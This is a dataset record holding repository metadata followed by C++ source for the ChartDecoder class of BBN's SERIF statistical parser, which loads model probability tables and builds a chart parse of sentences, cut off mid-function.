"max_stars_count": 995.0, "max_stars_repo_stars_event_min_datetime": "2018-06-22T10:39:18.000Z", "max_stars_repo_stars_event_max_datetime": "2022-03-25T01:22:14.000Z", "max_issues_repo_path": "deps/boost/include/boost/geometry/srs/projections/impl/geocent.hpp", "max_issues_repo_name": "kindlychung/mediasoup-sfu-cpp", "max_issues_repo_head_hexsha": "f69d2f48f7edbf4f0c57244280a47bea985f39cf", "max_issues_repo_licenses": ["Apache-2.0"], "max_issues_count": 32.0, "max_issues_repo_issues_event_min_datetime": "2018-06-23T14:19:37.000Z", "max_issues_repo_issues_event_max_datetime": "2022-03-29T10:20:37.000Z", "max_forks_repo_path": "deps/boost/include/boost/geometry/srs/projections/impl/geocent.hpp", "max_forks_repo_name": "kindlychung/mediasoup-sfu-cpp", "max_forks_repo_head_hexsha": "f69d2f48f7edbf4f0c57244280a47bea985f39cf", "max_forks_repo_licenses": ["Apache-2.0"], "max_forks_count": 172.0, "max_forks_repo_forks_event_min_datetime": "2018-06-22T11:12:00.000Z", "max_forks_repo_forks_event_max_datetime": "2022-03-29T07:44:33.000Z", "avg_line_length": 34.5778688525, "max_line_length": 94, "alphanum_fraction": 0.5723005808, "num_tokens": 4617, "lm_name": "Qwen/Qwen-72B", "lm_label": "1. YES\n2. NO", "lm_q1_score": 0.5312093733737562, "lm_q2_score": 0.24220563419533916, "lm_q1q2_score": 0.12866190316849932}}
{"text": "// Copyright 2008 by BBN Technologies Corp.\r\n// All Rights Reserved.\r\n\r\n#include \"Generic/common/leak_detection.h\"\r\n\r\n#include <cstring>\r\n#include <fstream>\r\n#include \"math.h\"\r\n#include <stdlib.h>\r\n#include \"Generic/parse/ChartDecoder.h\"\r\n#include \"Generic/parse/BridgeExtension.h\"\r\n#include \"Generic/parse/BridgeKernel.h\"\r\n#include \"Generic/parse/KernelKey.h\"\r\n#include \"Generic/parse/ExtensionKey.h\"\r\n#include \"Generic/parse/LanguageSpecificFunctions.h\"\r\n#include \"Generic/parse/ParserTags.h\"\r\n#include \"Generic/common/UTF8InputStream.h\"\r\n#include \"Generic/common/InternalInconsistencyException.h\"\r\n#include \"Generic/common/ParamReader.h\"\r\n#include \"Generic/common/SymbolUtilities.h\"\r\n#include \"Generic/theories/SynNode.h\"\r\n#include \"Generic/theories/Entity.h\"\r\n#include \"Generic/common/SessionLogger.h\"\r\n#include \"Generic/theories/EntityType.h\"\r\n#include \"Generic/theories/PartOfSpeechSequence.h\"\r\n#include \"dynamic_includes/parse/ParserConfig.h\"\r\n#include <algorithm>\r\n#include <boost/foreach.hpp>\r\n#include <boost/scoped_ptr.hpp>\r\n\r\nconst size_t ChartDecoder::maxSentenceLength = MAX_SENTENCE_LENGTH;\r\nconst size_t ChartDecoder::maxTagsPerWord = MAX_TAGS_PER_WORD;\r\n\r\n// ripped this off from gsl library\r\nstatic int\r\n__fcmp (const double x1, const double x2, const double epsilon = 1.e-6)\r\n{\r\n  int exponent;\r\n  double delta, difference;\r\n\r\n  /* Find exponent of largest absolute value */\r\n\r\n  {\r\n    double max = (fabs (x1) > fabs (x2)) ? x1 : x2;\r\n\r\n    frexp (max, &exponent);\r\n  }\r\n\r\n  /* Form a neighborhood of size  2 * delta */\r\n\r\n  delta = ldexp (epsilon, exponent);\r\n\r\n  difference = x1 - x2;\r\n\r\n  if (difference > delta)       /* x1 > x2 */\r\n    {\r\n      return 1;\r\n    }\r\n  else if (difference < -delta) /* x1 < x2 */\r\n    {\r\n      return -1;\r\n    }\r\n  else                          /* -delta <= difference <= delta */\r\n    {\r\n      return 0;                 /* x1 ~=~ x2 */\r\n    }\r\n}\r\n\r\n\r\nChartDecoder::ChartDecoder(const KernelTable* kernelTableArg,\r\n                           const ExtensionTable* extensionTableArg,\r\n                           const PriorProbTable* priorProbTableArg,\r\n                           HeadProbs* headProbsArg,\r\n                           ModifierProbs* premodProbsArg,\r\n                           ModifierProbs* postmodProbsArg,\r\n                           LexicalProbs* leftLexicalProbsArg,\r\n                           LexicalProbs* rightLexicalProbsArg,\r\n                           const PartOfSpeechTable* partOfSpeechTableArg,\r\n                           const VocabularyTable* vocabularyTableArg,\r\n                           const NgramScoreTable* featTableArg,\r\n                           const SequentialBigrams* bigrams,\r\n                           SignificantConstitOracle* scOracleArg, \r\n                           CacheType cacheType, \r\n                           long cacheMax,\r\n\t\t\t   const PartOfSpeechTable* auxPOSTable,\r\n\t\t\t   const Symbol* restrictedPOSTags, \r\n\t\t\t   int restrictedPOSTagsSize,\r\n\t\t\t   const TokenTagTable* parserShortcutsArg,\r\n\t\t\t   bool useLowerCaseForUnknown,\r\n\t\t\t   bool constrainKnownNounsAndVerbsParam,\r\n\t\t\t   float lambda, \r\n\t\t\t   int maxEntriesPerCell)\r\n  : DECODER_TYPE(MIXED),\r\n    kernelTable(kernelTableArg), \r\n    extensionTable(extensionTableArg),\r\n    priorProbTable(priorProbTableArg), \r\n    cache_max(cacheMax),\r\n    simpleCache(cacheMax),\r\n#if !defined(_WIN32) && !defined(__APPLE_CC__)\r\n    lruCache(cache_max),\r\n#endif\r\n    cache_type(cacheType),\r\n    headProbs(headProbsArg),\r\n    premodProbs(premodProbsArg), \r\n    postmodProbs(postmodProbsArg),\r\n    leftLexicalProbs(leftLexicalProbsArg),\r\n    rightLexicalProbs(rightLexicalProbsArg),\r\n    partOfSpeechTable(partOfSpeechTableArg),\r\n    vocabularyTable(vocabularyTableArg),\r\n    featTable(featTableArg),\r\n    sequentialBigrams(bigrams),\r\n    scOracle(scOracleArg),\r\n\twordFeatures(WordFeatures::build()),\r\n\tlambda(lambda),\r\n\tmaxEntriesPerCell(maxEntriesPerCell),\r\n\ttheory_scores(_new float[maxEntriesPerCell]),\r\n\ttheory_sc_strings(_new string[maxEntriesPerCell]),\r\n\ttheories(_new ChartEntry*[maxEntriesPerCell])\r\n{\r\n\twordProbTable = _new NgramScoreTable(1, 500);\r\n\tfor (size_t i = 0; i < maxSentenceLength; i++) {\r\n        chart[i][i] = _new ChartEntry*[maxTagsPerWord + 1];\r\n\t\tchart[i][i][0] = 0;\r\n    }\r\n    for (size_t j = 0; j < maxSentenceLength - 1; j++) {\r\n\t\tfor (size_t k = j + 1; k < maxSentenceLength; k++) {\r\n            chart[j][k] = _new ChartEntry*[maxEntriesPerCell + 1];\r\n\t\t\tchart[j][k][0] = 0;\r\n        }\r\n    }\r\n\tauxPartOfSpeechTable = auxPOSTable; // may be empty\r\n\trestrictedPosTags = restrictedPOSTags; // default is empty Symbol array\r\n\trestrictedPosTagsSize = restrictedPOSTagsSize; \r\n\tparserShortcuts = parserShortcutsArg; // may be empty\r\n\tlowerCaseForUnknown = useLowerCaseForUnknown; //default is false\r\n\tconstrainKnownNounsAndVerbs = constrainKnownNounsAndVerbsParam; //default is false\r\n\r\n\tSessionLogger::dbg(\"chart_decoder\") << \"ChartDecoder::ChartDecoder:  Using MAX_ENTRIES_PER_CELL of \"\r\n\t\t<< maxEntriesPerCell << \" and lambda of \" << lambda << \"\\n\";\r\n}\r\n\r\nChartDecoder::~ChartDecoder() {\r\n\tdelete[] theory_scores;\r\n\tdelete[] theory_sc_strings;\r\n\tdelete[] theories;\r\n\tdelete wordProbTable;\r\n\tif (kernelTable != 0)          { delete kernelTable; }\r\n\tif (extensionTable != 0)       { delete extensionTable; }\r\n\tif (priorProbTable != 0)       { delete priorProbTable; }\r\n\tif (headProbs != 0)            { delete headProbs; }\r\n\tif (premodProbs != 0)          { delete premodProbs; }\r\n\tif (postmodProbs != 0)         { delete postmodProbs; }\r\n\tif (leftLexicalProbs != 0)     { delete leftLexicalProbs; }\r\n\tif (rightLexicalProbs != 0)    { delete rightLexicalProbs; }\r\n\tif (partOfSpeechTable != 0)    { delete partOfSpeechTable; }\r\n\tif (vocabularyTable != 0)      { delete vocabularyTable; }\r\n\tif (featTable != 0)            { delete featTable; }\r\n\tif (sequentialBigrams != 0)    { delete sequentialBigrams; }\r\n\tif (scOracle  != 0)            { delete scOracle ; }\r\n\tif (restrictedPosTags  != 0)   { delete[] restrictedPosTags ; }\r\n\tif (parserShortcuts != 0)      { delete parserShortcuts; }\r\n    for (size_t j = 0; j < maxSentenceLength - 1; j++) {\r\n\t\tfor (size_t k = j; k < maxSentenceLength; k++) {\r\n            delete[] chart[j][k];\r\n        }\r\n    }\r\n\r\n}\r\n\r\nChartDecoder::ChartDecoder(const char* model_prefix, double frag_prob){\r\n // for compatibility with callers not using the aux POS table\r\n\tPartOfSpeechTable* _auxPosTable = _new PartOfSpeechTable();\r\n    new(this) ChartDecoder(model_prefix, frag_prob, _auxPosTable);\r\n}\r\nChartDecoder::ChartDecoder(const char* model_prefix, double frag_prob, const PartOfSpeechTable* auxPOSTable) : \r\n\t_frag_prob(frag_prob), DECODER_TYPE(MIXED)\r\n{\r\n\r\n\t//paramStream >> kernelFile;\r\n\r\n\tCacheType cacheType = None;\r\n\tstd::string buffer = ParamReader::getParam(\"probs_cache_type\");\r\n\tif (buffer == \"simple\") {\r\n\t\tcacheType = Simple;\r\n#if !defined(_WIN32) && !defined(__APPLE_CC__)\r\n\t\t// Not currently supported for Windows; see note in Generic/common/lru_cache.h\r\n\t} else if (buffer == \"lru\") {\r\n\t\tcacheType = Lru;\r\n#endif\r\n\t}\r\n\tlong cacheMax = 1000;\r\n\tbuffer = ParamReader::getParam(\"probs_cache_max_k_entries\");\r\n\tif (!buffer.empty()) {\r\n\t\tcacheMax = atol(buffer.c_str()) * 1000;\r\n\t}\r\n\r\n\r\n\t// wordPropTable gets allocated in the constructor that we call with placement new.\r\n\t//wordProbTable = new NgramScoreTable(1, 500);\r\n\t//ifstream paramStream;\r\n\t//paramStream.open(paramFile);\r\n\t\r\n\r\n\tstd::string model_prefix_str(model_prefix);\r\n\r\n\tboost::scoped_ptr<UTF8InputStream> kernelStream_scoped_ptr(UTF8InputStream::build());\r\n\tUTF8InputStream& kernelStream(*kernelStream_scoped_ptr);\r\n\tbuffer = model_prefix_str + \".kernels\";\r\n\tkernelStream.open(buffer.c_str());\r\n\tKernelTable* kernelTable = _new KernelTable(kernelStream);\r\n\tkernelStream.close();\r\n\t\r\n\tboost::scoped_ptr<UTF8InputStream> extensionStream_scoped_ptr(UTF8InputStream::build());\r\n\tUTF8InputStream& extensionStream(*extensionStream_scoped_ptr);\r\n\tbuffer = model_prefix_str + \".extensions\";\r\n\textensionStream.open(buffer.c_str());\r\n\tExtensionTable* extensionTable = _new ExtensionTable(extensionStream);\r\n\textensionStream.close();\r\n\t\r\n\tboost::scoped_ptr<UTF8InputStream> priorProbStream_scoped_ptr(UTF8InputStream::build());\r\n\tUTF8InputStream& priorProbStream(*priorProbStream_scoped_ptr);\r\n\tbuffer = model_prefix_str + \".prior\";\r\n\tpriorProbStream.open(buffer.c_str());\r\n\tPriorProbTable* priorProbTable = _new PriorProbTable(priorProbStream);\r\n\tpriorProbStream.close();\r\n\t\r\n\tboost::scoped_ptr<UTF8InputStream> headProbStream_scoped_ptr(UTF8InputStream::build());\r\n\tUTF8InputStream& headProbStream(*headProbStream_scoped_ptr);\r\n\tbuffer = model_prefix_str + \".head\";\r\n\theadProbStream.open(buffer.c_str());\r\n\tHeadProbs* headProbs = _new HeadProbs(headProbStream, cacheType, cacheMax);\r\n\theadProbStream.close();\r\n\t\r\n\tboost::scoped_ptr<UTF8InputStream> premodProbStream_scoped_ptr(UTF8InputStream::build());\r\n\tUTF8InputStream& premodProbStream(*premodProbStream_scoped_ptr);\r\n\tbuffer = model_prefix_str + \".pre\";\r\n\tpremodProbStream.open(buffer.c_str());\r\n\tModifierProbs* premodProbs = _new ModifierProbs(premodProbStream, cacheType, cacheMax, \"pre\");\r\n\tpremodProbStream.close();\r\n\t\r\n\tboost::scoped_ptr<UTF8InputStream> postmodProbStream_scoped_ptr(UTF8InputStream::build());\r\n\tUTF8InputStream& postmodProbStream(*postmodProbStream_scoped_ptr);\r\n\tbuffer = model_prefix_str + \".post\";\r\n\tpostmodProbStream.open(buffer.c_str());\r\n    ModifierProbs* postmodProbs = _new ModifierProbs(postmodProbStream, cacheType, cacheMax, \"post\");\r\n    postmodProbStream.close();\r\n\t\t\r\n    boost::scoped_ptr<UTF8InputStream> leftLexicalProbStream_scoped_ptr(UTF8InputStream::build());\r\n    UTF8InputStream& leftLexicalProbStream(*leftLexicalProbStream_scoped_ptr);\r\n\tbuffer = model_prefix_str + \".left\";\r\n\tleftLexicalProbStream.open(buffer.c_str());\r\n    LexicalProbs* leftLexicalProbs = _new LexicalProbs(leftLexicalProbStream, cacheType, cacheMax, \"left\");\r\n    leftLexicalProbStream.close();\r\n\t\t\r\n    boost::scoped_ptr<UTF8InputStream> rightLexicalProbStream_scoped_ptr(UTF8InputStream::build());\r\n    UTF8InputStream& rightLexicalProbStream(*rightLexicalProbStream_scoped_ptr);\r\n\tbuffer = model_prefix_str + \".right\";\r\n    rightLexicalProbStream.open(buffer.c_str());\r\n    LexicalProbs* rightLexicalProbs = _new LexicalProbs(rightLexicalProbStream, cacheType, cacheMax, \"right\");\r\n    rightLexicalProbStream.close();\r\n\t\t\r\n    boost::scoped_ptr<UTF8InputStream> posStream_scoped_ptr(UTF8InputStream::build());\r\n    UTF8InputStream& posStream(*posStream_scoped_ptr);\r\n\tbuffer = model_prefix_str + \".pos\";\r\n    posStream.open(buffer.c_str());\r\n    PartOfSpeechTable* partOfSpeechTable = _new PartOfSpeechTable(posStream);\r\n    posStream.close();\r\n\r\n    boost::scoped_ptr<UTF8InputStream> vocabularyStream_scoped_ptr(UTF8InputStream::build());\r\n    UTF8InputStream& vocabularyStream(*vocabularyStream_scoped_ptr);\r\n\tbuffer = model_prefix_str + \".voc\";\r\n    vocabularyStream.open(buffer.c_str());\r\n    VocabularyTable* vocabularyTable = _new VocabularyTable(vocabularyStream);\r\n    vocabularyStream.close();\r\n\t//mrf- add featureTable\r\n\t//The featureTable is used to put the log 1/# of different words that had\r\n\t//a given Feature set in training as the initial score for a word entry.\r\n\t//If the feature Table is empty, the scores will be 0 (as they were initially)\r\n    boost::scoped_ptr<UTF8InputStream> featStream_scoped_ptr(UTF8InputStream::build());\r\n    UTF8InputStream& featStream(*featStream_scoped_ptr);\r\n\tNgramScoreTable* featTable;\r\n\tif(ParamReader::isParamTrue(\"feature_adjusted_parse\")) {\r\n\t\tbuffer = model_prefix_str + \".feat\";\r\n\t\tfeatStream.open(buffer.c_str());\r\n\t\tfeatTable = _new NgramScoreTable(1, featStream);\r\n\t\tfeatStream.close();\r\n\r\n\t}\r\n\telse{\r\n\t\tfeatTable = _new NgramScoreTable(1,20);\r\n\t}\r\n\r\n\tSequentialBigrams* bigrams;\t\r\n\t//mrf - make bigram file its own parameter\r\n\tbuffer = ParamReader::getParam(\"bigrams\");\r\n\tif (!buffer.empty()) {\r\n\t\tbigrams = _new SequentialBigrams(buffer.c_str());\r\n\t}\r\n\telse{\t//if there isn't a bigrams file\r\n\t\tbigrams = _new SequentialBigrams();\r\n\t}\r\n\tChartEntry::set_sequentialBigrams(bigrams);\r\n\r\n\tstd::string inventory = ParamReader::getParam(\"inventory\");\r\n\tconst char *inventory_char = 0;\r\n\tif (!inventory.empty())\r\n\t\tinventory_char = inventory.c_str();\r\n\tSignificantConstitOracle * scOracle;\r\n\tscOracle = SignificantConstitOracle::build(kernelTable, extensionTable, inventory_char);\t\r\n\r\n\tint maxsec = ParamReader::getOptionalIntParamWithDefaultValue(\"max_parser_seconds\", 100*60);\r\n\tMAX_CLOCKS = maxsec * CLOCKS_PER_SEC;\r\n\r\n\tSymbol *restrictedPOSTags = _new Symbol[50];\r\n\tint restrictedPOSTagsSize = (int)ParamReader::getSymbolArrayParam(\"unknown_pos_tags\", restrictedPOSTags, 50);\r\n\r\n\r\n\tTokenTagTable* parserShortcutsArg;\r\n\tstd::string shortcuts = ParamReader::getParam(\"parser_shortcuts\");\r\n\tif(!shortcuts.empty()) {\r\n\t\tboost::scoped_ptr<UTF8InputStream> shortcutsStream_scoped_ptr(UTF8InputStream::build());\r\n\t\tUTF8InputStream& shortcutsStream(*shortcutsStream_scoped_ptr);\r\n\t\tshortcutsStream.open(shortcuts.c_str());\r\n\t\tparserShortcutsArg = _new TokenTagTable(shortcutsStream);\r\n\t\tshortcutsStream.close();\r\n\t}else{\r\n\t\tparserShortcutsArg = _new TokenTagTable();\r\n\t}\r\n\r\n\tbool useLowerCaseForUnknown = ParamReader::getOptionalTrueFalseParamWithDefaultVal(\"lower_case_for_unknown\", false);\r\n\r\n\tbool constrainKnownNounsAndVerbsParam = ParamReader::getOptionalTrueFalseParamWithDefaultVal(\"constrain_known_nouns_and_verbs\", false);\r\n\t\r\n\t// For \"fast parsing\" use lambda=-1.\r\n\tfloat lambda = static_cast<float>(ParamReader::getOptionalFloatParamWithDefaultValue(\"parser_lambda\", -5));\r\n\r\n\t// For \"fast parsing\" use max_entries_per_cell=5.\r\n\tint max_entries_per_cell = ParamReader::getOptionalIntParamWithDefaultValue(\"parser_max_entries_per_cell\", 10);\r\n\r\n\t// Use placement-new to initialize self (this may not be a good way to do this)\r\n\tnew(this) ChartDecoder(kernelTable, extensionTable, priorProbTable,\r\n\t\theadProbs, premodProbs, postmodProbs, leftLexicalProbs,\r\n\t\trightLexicalProbs, partOfSpeechTable, vocabularyTable, featTable, \r\n\t\tbigrams, scOracle, cacheType, cacheMax, \r\n\t\tauxPOSTable, restrictedPOSTags, restrictedPOSTagsSize, \r\n\t    parserShortcutsArg, useLowerCaseForUnknown, constrainKnownNounsAndVerbsParam,\r\n\t\tlambda, max_entries_per_cell);\r\n\t\t\r\n}\r\n\r\n/** Does this method ever get called?? */\r\nvoid ChartDecoder::readWordProbTable(const char* model_prefix){\r\n\tdelete wordProbTable;\r\n\tboost::scoped_ptr<UTF8InputStream> in_scoped_ptr(UTF8InputStream::build());\r\n\tUTF8InputStream& in(*in_scoped_ptr);\r\n\tstd::string model_prefix_str(model_prefix);\r\n\tstd::string buffer = model_prefix_str + \".voc.wordprob\";\r\n\tin.open(buffer.c_str());\r\n\twordProbTable =  new NgramScoreTable(1, in);\r\n\r\n}\r\n\r\nParseNode* ChartDecoder::decode(Symbol* sentence, int length,\r\n    std::vector<Constraint> & constraints,\r\n\tbool collapseNPlabels, Symbol* pos_constraints)\r\n{\r\n\t// Use NULL tokenSequence -- this POS sequence will just get thrown\r\n\t// away after we decode, and we'll never access its token sequence.\r\n\tPartOfSpeechSequence tempPOS(NULL, 0, length);\r\n\tif(pos_constraints != 0){\r\n\t\tfor(int i =0; i< length; i++){\r\n\t\t\ttempPOS.addPOS(pos_constraints[i], 1, i);\r\n\t\t}\r\n\t}\r\n\tParseNode* result = decode(sentence, length, constraints, collapseNPlabels, &tempPOS);\r\n\treturn result;\r\n}\r\n\r\nParseNode* ChartDecoder::returnDefaultParse(Symbol* sentence, int length, std::vector<Constraint> & constraints, bool collapseNPlabels)\r\n{\r\n\tParseNode *defaultParse = getDefaultParse(sentence, length, constraints);\r\n\thighest_scoring_final_theory = 0;\r\n\ttheory_scores[0] = 0;\r\n\tint replacementPosition = 0;\r\n\treplaceWords(defaultParse, replacementPosition, sentence);\r\n\tpostprocessParse(defaultParse, constraints, collapseNPlabels);\r\n\tcleanupChart(length);\r\n\thighest_scoring_final_theory = 0;\r\n\treturn defaultParse;\r\n}\r\n\r\nParseNode* ChartDecoder::decode(Symbol* sentence, int length,\r\n\t\tstd::vector<Constraint> & constraints,\r\n\t\tbool collapseNPlabels,  const PartOfSpeechSequence* pos_constraints)\r\n{\r\n\thighest_scoring_final_theory = 0; // this needs to be set before we return!!\r\n\r\n\t// AZ 4/1/05: There is an obscure bug where if the first sentence of a document \r\n\t// is one token long, and the token in OOV, the parser sometimes crashes. \r\n\t// This routine handles one token sentences without trying to parse.\r\n\tif (length == 1) \r\n\t\treturn returnDefaultParse(sentence, length, constraints, collapseNPlabels);\r\n\r\n\t//mrf 10/2007 sentences that are mostly punctuation cause strange parses.  \r\n\t//These can cause stack overflows in during proposition finding.  \r\n\t//Create a default default parse for these sentences.  \r\n\tdouble word_bigram_ratio = 1;\r\n\tif(length > 40){\r\n\t\tbool prev_is_word = true;\r\n\t\tbool is_word;\r\n\t\tint n_word_bigrams = 0;\r\n\t\tfor(int wnum = 0; wnum < length; wnum++){\r\n\t\t\tconst Symbol &word = sentence[wnum];\r\n\t\t\tis_word = false;\r\n\t\t\tfor(size_t cnum = 0; (cnum < wcslen(word.to_string()) && !is_word); cnum++){\r\n\t\t\t\tif(!(iswpunct(word.to_string()[cnum]))){\r\n\t\t\t\t\tis_word = true;\r\n\t\t\t\t} else if(word.to_string()[cnum] == ','){ //mrf- comma's suggest a list, and we might want to include long lists of names\r\n\t\t\t\t\tis_word = true;\r\n\t\t\t\t}\r\n\t\t\t}\r\n\t\t\tif(is_word && prev_is_word){\r\n\t\t\t\tn_word_bigrams++;\r\n\t\t\t}\r\n\t\t\tprev_is_word = is_word;\r\n\t\t}\r\n\t\tword_bigram_ratio = ((double)n_word_bigrams) / length;\r\n\t}\r\n\tif(word_bigram_ratio < .1){\r\n\t\tSessionLogger::info(\"SERIF\") << \"Flattening parse for long sentence with mostly punctuation. Length: \" << length << \" word_bigram_ratio: \"<<word_bigram_ratio<<\"\\n\";\r\n\t\tfor(int i = 0; i< length; i++){\r\n\t\t\tSessionLogger::info(\"SERIF\") <<sentence[i].to_debug_string()<<\" \";\r\n\t\t}\r\n\r\n\t\tParseNode *defaultParse = getCompletelyDefaultParse(sentence, length);\r\n\t\thighest_scoring_final_theory = 0;\r\n\t\ttheory_scores[0] = 0;\r\n\t\tint replacementPosition = 0;\r\n\t\treplaceWords(defaultParse, replacementPosition, sentence);\r\n\t\tpostprocessParse(defaultParse, constraints, collapseNPlabels);\r\n\t\tcleanupChart(length);\r\n\t\thighest_scoring_final_theory = 0;\r\n\t\treturn defaultParse;\r\n\t}\r\n\t//end punctuation only check\r\n\r\n\tstartClock();\r\n\t\r\n\tbool lastIsPunct = LanguageSpecificFunctions::isSentenceEndingPunctuation(sentence[length - 1]);\r\n\r\n\tinitPunctuationUpperBound(sentence, length);\r\n\r\n\tinitChart(sentence, length, constraints, pos_constraints);\r\n\r\n\tbool blockPrepsFlag = (parserShortcuts->lookup(Symbol(L\"PURE-PREPS\")) == Symbol(L\"NRC\"));\r\n\tbool blockAdverbsFlag = (parserShortcuts->lookup(Symbol(L\"PURE-ADVERBS\")) == Symbol(L\"NRC\"));\r\n\r\n\tfor (int nc=0; nc<length; nc++){\r\n\t\tnonLeftClosableToken[nc] = false;\r\n\t\tnonRightClosableToken[nc] = false;\r\n\r\n\t\tconst Symbol &word = sentence[nc];\r\n\r\n\t\tSymbol shortcut = parserShortcuts->lookup(word);\r\n\t\tbool inNLC = (shortcut == Symbol(L\"NLC\"));\r\n\t\tbool inNRC = (shortcut == Symbol(L\"NRC\"));\r\n\r\n\t\t// all the other issues about punctuation and sentence boundaries seem not to matter for NLC\r\n\t\tif (inNLC && \r\n\t\t\tnc > 1 && \r\n\t\t\t!LanguageSpecificFunctions::isNoCrossPunctuation(sentence[nc-1])) \r\n\t\t\t\tnonLeftClosableToken[nc] = true;\r\n\r\n\r\n\t\tif ((int)punctuationUpperBound[nc] <= nc+1) {\r\n\t\t\tcontinue;\r\n\t\t}\r\n\t\tif (inNRC || \r\n\t\t\t(blockPrepsFlag && chartHasOnlyGeneralPrepositionPOS(nc)) ||\r\n\t\t\t(blockAdverbsFlag && chartHasOnlyAdverbPOS(nc))){\r\n\t\t\tif (chartHasParticlePOS(nc)) {\r\n\t\t\t\t// if we have a particle and context then allow closure\r\n\t\t\t\tif ((nc > 0) && chartHasVerbPOS(nc-1)){\r\n\t\t\t\t\tcontinue;\r\n\t\t\t\t}else if ((nc > 1) &&\r\n\t\t\t\t\t\t\tchartHasPronounPOS(nc-1) &&\r\n\t\t\t\t\t\t\tchartHasVerbPOS(nc-2)){\r\n\t\t\t\t\tcontinue;\r\n\t\t\t\t}\r\n\t\t\t}\r\n\t\t\tnonRightClosableToken[nc] = true;\r\n\t\t}\r\n\t}\r\n\r\n\tfor (int span = 2; span <= length; span++) {\r\n\t\tfor (int start = 0; start <= (length - span); start++) {\r\n\t\t\tif (timedOut(sentence, length)) {\r\n\t\t\t\tParseNode *defaultParse = getDefaultParse(sentence, length, constraints);\r\n\t\t\t\thighest_scoring_final_theory = 0;\r\n\t\t\t\ttheory_scores[0] = 0;\r\n\t\t\t\tint replacementPosition = 0;\r\n\t\t\t\treplaceWords(defaultParse, replacementPosition, sentence);\r\n\t\t\t\tpostprocessParse(defaultParse, constraints, collapseNPlabels);\r\n\t\t\t\tcleanupChart(length);\r\n\t\t\t\thighest_scoring_final_theory = 0;\r\n\t\t\t\treturn defaultParse;\r\n\t\t\t}\r\n\t\t\tint end = start + span;\r\n\r\n\r\n\t\t\tnumTheories = 0;\r\n\t\t\tfor (int mid = (start + 1); mid < end; mid++) {\r\n\t\t\t\tif ((end == length) && lastIsPunct &&\r\n\t\t\t\t\t!((mid == (length - 1)) && (start == 0))) {\r\n\t\t\t\t\tcontinue;\r\n\t\t\t\t}\r\n\t\t\t\tif (punctuationCrossing(start, end, length)) {\r\n\t\t\t\t\tcontinue;\r\n\t\t\t\t}\r\n\t\t\t\tleftClosable = !crossingConstraintViolation(start, mid, constraints) && !nonLeftClosableToken[start];\r\n\t\t\t\trightClosable =  !crossingConstraintViolation(mid, end, constraints) && !nonRightClosableToken[end-1];\r\n\t\t\t\tfor (ChartEntry** leftEntry = chart[start][mid - 1];\r\n\t\t\t\t*leftEntry; ++leftEntry)\r\n\t\t\t\t{\r\n\t\t\t\t\tfor (ChartEntry** rightEntry = chart[mid][end - 1];\r\n\t\t\t\t\t*rightEntry; ++rightEntry)\r\n\t\t\t\t\t{\r\n\t\t\t\t\t\taddKernelTheories(*leftEntry, *rightEntry);\r\n\t\t\t\t\t\taddExtensionTheories(*leftEntry, *rightEntry);\r\n\t\t\t\t\t}\r\n\t\t\t\t}\r\n\t\t\t}\r\n\t\t\ttransferTheoriesToChart(start, end);\r\n\t\t}\r\n\t}\r\n\tfloat finalScore;\r\n\r\n\tParseNode* returnValue = getBestParse(finalScore, 0, length, false);\r\n\tif (returnValue == 0){ \r\n\t\treturnValue = getDefaultParse(sentence, length, constraints);\r\n\t\thighest_scoring_final_theory = 0;\r\n\t}\r\n\tif (length > 40) {\r\n\t\tint depth = getTreeDepth(returnValue);\r\n\t\tif ((float) depth / length > 0.8F) { \r\n\t\t\tSessionLogger::info(\"SERIF\") << \"Flattening parse for very deep, long sentence. Depth: \" << depth << \" Length: \" << length << \"\\n\";\r\n\t\t\treturnValue = getCompletelyDefaultParse(sentence, length);\r\n\t\t\thighest_scoring_final_theory = 0;\r\n\t\t}\r\n\t\telse if (((float) depth / length > 0.7F) && (word_bigram_ratio < .4 ) ){ \r\n\t\t\tSessionLogger::info(\"SERIF\") << \"Flattening parse for deep, long sentence, with mostly punctuation. Depth: \" << depth << \" Length: \" \r\n\t\t\t\t<< length <<\" WordBigramRatio: \"<<word_bigram_ratio<< \"\\n\";\r\n\t\t\treturnValue = getCompletelyDefaultParse(sentence, length);\r\n\t\t\thighest_scoring_final_theory = 0;\r\n\t\t}\r\n\t}\r\n\r\n\t// diversity parsing iteration\r\n\tParseNode* iterReturnValue = returnValue;\r\n\twhile (iterReturnValue != 0) {\r\n\t\tint replacementPosition = 0;\r\n\t\treplaceWords(iterReturnValue, replacementPosition, sentence);\r\n\t\tpostprocessParse(iterReturnValue, constraints, collapseNPlabels);\r\n\t\titerReturnValue = iterReturnValue->next;\r\n\t}\r\n\r\n\tcleanupChart(length);\r\n\r\n\treturn returnValue;\r\n\t\t\r\n}\r\n\r\n\r\nvoid ChartDecoder::addKernelTheories(ChartEntry* leftEntry,\r\n    ChartEntry* rightEntry)\r\n{\r\n\tif (leftClosable && rightClosable)\r\n\t{\r\n\t\tKernelKey key1(BRANCH_DIRECTION_RIGHT, leftEntry->constituentCategory,\r\n\t\t\trightEntry->constituentCategory, rightEntry->headTag);\r\n\t\tint numKernels;\r\n\t\tBridgeKernel* kernels = kernelTable->lookup(key1, numKernels);\r\n\t\tfor (int i = 0; i < numKernels; i++) {\r\n\t\t\tbool left = scOracle->isSignificant(leftEntry, kernels[i].headChain);\r\n\t\t\tbool right = scOracle->isSignificant(rightEntry, kernels[i].modifierChain);\r\n\t\t\tSignificantConstitNode *significantConstitNode = \r\n\t\t\t\t_new SignificantConstitNode(left, leftEntry->significantConstitNode, \r\n\t\t\t\tleftEntry->leftToken, leftEntry->rightToken, \r\n\t\t\t\tright, rightEntry->significantConstitNode, \r\n\t\t\t\trightEntry->leftToken, rightEntry->rightToken);\r\n\t\t\tChartEntry* entry = _new ChartEntry(\r\n\t\t\t    /*constituentCategory =*/ kernels[i].constituentCategory,\r\n\t\t\t    /*headConstituent =*/ kernels[i].headChainFront,\r\n\t\t\t    /*headWord =*/ leftEntry->headWord,\r\n\t\t\t    /*headIsSignificant =*/ leftEntry->headIsSignificant,\r\n\t\t\t    /*headTag =*/ leftEntry->headTag,\r\n\t\t\t    /*leftEdge =*/ ParserTags::adjSymbol,\r\n\t\t\t    /*leftTag =*/ leftEntry->headTag,\r\n\t\t\t    /*leftWord =*/ leftEntry->headWord,\r\n\t\t\t    /*rightEdge =*/ kernels[i].modifierChainFront,\r\n\t\t\t    /*rightTag =*/ rightEntry->headTag,\r\n\t\t\t    /*rightWord =*/ rightEntry->headWord,\r\n\t\t\t    /*leftChild =*/ leftEntry,\r\n\t\t\t    /*rightChild =*/ rightEntry,\r\n\t\t\t    /*leftToken =*/ leftEntry->leftToken,\r\n\t\t\t    /*rightToken =*/ rightEntry->rightToken,\r\n\t\t\t    /*nameType =*/ 